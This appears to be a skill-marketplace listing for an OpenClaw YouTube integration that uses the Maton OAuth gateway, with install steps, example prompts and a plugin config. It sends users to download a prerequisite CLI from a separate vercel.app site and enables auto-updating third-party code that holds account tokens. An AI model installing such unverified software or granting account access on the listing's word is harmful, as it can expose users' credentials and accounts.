youtube
YouTube Data API integration with managed OAuth. Search videos, manage playlists, access channel data, and interact with comments. Use this skill when users want to interact with YouTube. For other third party apps, use the api-gateway skill (https://clawhub.ai/byungkyu/api-gateway).
Why use this skill?
Integrate YouTube Data API with your OpenClaw AI agent. Search videos, manage playlists, and automate your channel interactions securely using managed OAuth.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/youtube37puqWhat This Skill Does
The YouTube skill for OpenClaw provides a powerful, abstracted interface to the YouTube Data API v3. It enables users to perform complex interactions with their YouTube account directly through the OpenClaw AI agent. By handling the complexities of Google's OAuth authentication flow through the Maton gateway, this skill allows for seamless programmatic control over YouTube resources. Users can search for public video content, manage their private playlists, retrieve detailed channel statistics, and interact with community engagement features like video comments and subscriptions. It acts as a secure proxy, ensuring that your authentication tokens are managed centrally while your agent executes requested tasks.
Installation
To utilize this skill, you must first ensure the OpenClawCLI is installed on your system, which can be acquired at https://openclawcli.vercel.app/. Once the CLI is ready, execute the installation command: clawhub install openclaw/skills/skills/thiagoruss0/youtube37puq. Following the installation, ensure that you have a registered account at maton.ai and that you have exported your API key as an environment variable: export MATON_API_KEY="YOUR_API_KEY". Finally, you will need to initialize your connection by POSTing to the control endpoint, which provides a unique authorization URL. Opening this URL in your browser completes the Google OAuth handshake.
Use Cases
This skill is designed for automation power users and developers. Common use cases include automating the organization of watch-later queues based on AI-filtered search results, managing video metadata for content creators, monitoring channel analytics, and performing bulk comment moderation or responses. It is particularly useful for workflows involving multi-platform content distribution where updating YouTube information is part of a larger, multi-step automated process.
Example Prompts
- "Search for the latest tutorials on Python programming and add the top 3 results to my 'Learn to Code' playlist."
- "Get the current subscriber count and latest video performance metrics for my channel."
- "Find all comments on my latest video that contain the word 'tutorial' and flag them for my review."
Tips & Limitations
Always ensure your MATON_API_KEY is kept secure and never committed to version control systems. Be aware that YouTube enforces strict API quotas; frequent bulk requests may trigger rate limiting. If you encounter authentication issues, verify your connection status at https://ctrl.maton.ai. Note that some sensitive operations may require elevated Google OAuth scopes; if you receive an 'insufficient permissions' error, you may need to re-authorize the connection via the provided management URL.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-youtube37puq": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api
Related Skills
n8n
Manage n8n workflows and automations via API. Use when working with n8n workflows, executions, or automation tasks - listing workflows, activating/deactivating, checking execution status, manually triggering workflows, or debugging automation issues.
Read WeChat local data from SQLite databases. Supports listing contacts, chat sessions, searching messages, and viewing favorites. Use when the user needs to access their own WeChat data stored locally. Requires access to WeChat data directory. Read-only operations only.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
veo3-gen
Generate and stitch short videos via Google Veo 3.x using the Gemini API (google-genai). Use when you need to create video clips from prompts (ads, UGC-style clips, product demos) and want a reproducible CLI workflow (generate, poll, download MP4, optionally stitch multiple segments).
jira
Jira API integration with managed OAuth. Search issues with JQL, create and update issues, manage projects and transitions. Use this skill when users want to interact with Jira issues, projects, or workflows. For other third party apps, use the api-gateway skill (https://clawhub.ai/byungkyu/api-gateway).